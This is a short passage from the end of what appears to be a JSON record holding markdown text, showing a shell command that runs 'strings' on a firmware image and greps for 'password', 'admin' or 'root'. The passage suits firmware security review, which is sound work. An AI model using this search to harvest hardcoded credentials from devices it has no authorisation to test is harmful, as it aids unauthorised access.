firmware.bin\nstrings firmware.bin | grep -i \"password\\|admin\\|root\"\n```\n\n---\n\n", "creation_timestamp": "2026-08-25T16:24:58.651607Z"}]}